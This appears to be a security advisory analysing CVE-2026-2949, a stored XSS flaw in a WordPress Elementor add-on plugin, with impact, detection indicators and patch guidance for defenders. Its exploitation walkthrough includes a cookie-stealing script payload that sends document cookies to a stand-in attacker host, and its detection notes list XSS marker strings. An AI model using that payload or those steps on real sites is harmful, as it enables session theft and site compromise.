CVE-2026-2949: 
WordPress vulnerability analysis and mitigation

CVE-2026-2949 is a Stored Cross-Site Scripting (XSS) vulnerability in the Xpro Addons — 140+ Widgets for Elementor plugin for WordPress, affecting versions up to and including 1.4.24. The flaw exists in the Icon Box widget due to insufficient input sanitization and output escaping, allowing authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages. It was published on April 4, 2026, with a patch made available the same day. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability specifically resides in the Icon Box widget of the Xpro Addons plugin, where user-supplied input is neither properly sanitized on input nor escaped on output before being rendered in the page HTML. An authenticated attacker with at minimum contributor-level WordPress access can craft a malicious widget configuration containing JavaScript payloads, which are then persistently stored in the database and executed in the browsers of any user who subsequently visits the affected page. The attack vector is network-based, requires low privileges, low complexity, and no user interaction beyond the victim loading the page (GitHub Advisory, Wordfence).

Successful exploitation allows injected JavaScript to execute in the context of any user — including administrators — who visits a page containing the malicious Icon Box widget. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement of page content, or further attacks against site administrators that could result in full site compromise. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact; however, the changed scope means the impact extends beyond the plugin itself to the broader WordPress site and its visitors (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit code known at this time, and no evidence of active in-the-wild exploitation has been reported. The EPSS score is approximately 0.029–0.037%, placing it in the 11th percentile for exploitation likelihood within the next 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (GitHub Advisory, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Xpro Addons — 140+ Widgets for Elementor plugin at version 1.4.24 or earlier, using tools like WPScan or by inspecting plugin metadata in page source.
2. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site.
3. Create or edit a page/post: Navigate to the WordPress editor (Elementor) and add or edit a page that includes the Icon Box widget from the Xpro Addons plugin.
4. Inject malicious payload: In the Icon Box widget's input fields (e.g., title, description, or link attributes), insert a JavaScript XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant.
5. Publish the page: Save and publish the page, causing the malicious payload to be stored persistently in the WordPress database.
6. Trigger execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (GitHub Advisory, Wordfence).

• Logs: WordPress access logs showing contributor-level users making POST requests to Elementor page-save endpoints with unusual script tags or encoded JavaScript in widget parameters; audit log entries for page edits by low-privilege users containing <script>, onerror, onload, or similar event handler strings.
• Database: WordPress wp_posts or wp_postmeta tables containing Icon Box widget data with embedded JavaScript payloads (e.g., <script>, javascript:, onerror=, onload=).
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the Xpro Icon Box widget; traffic to attacker-controlled cookie-harvesting endpoints.
• File System: No direct file system artifacts expected for a stored XSS, but review Elementor-saved page content for unexpected script injections in serialized widget data.

Update the Xpro Addons — 140+ Widgets for Elementor plugin to a version greater than 1.4.24, which includes the fix introduced in changeset 3470049. As an interim measure, restrict contributor-level and above access to only fully trusted users, and consider deploying a Web Application Firewall (WAF) with rules to detect and block XSS payloads in Elementor widget parameters. Reviewing existing pages for injected scripts is also recommended if untrusted contributors have had access to the site (GitHub Advisory, WordPress Changeset).

The vulnerability was reported and disclosed by Wordfence, which maintains a dedicated threat intelligence entry for this CVE. Coverage has been limited to automated vulnerability aggregators and security databases (NVD, ENISA EUVD, VulDB, CIRCL), with no notable independent researcher commentary or significant social media discussion identified beyond standard CVE broadcast accounts (Wordfence, GitHub Advisory).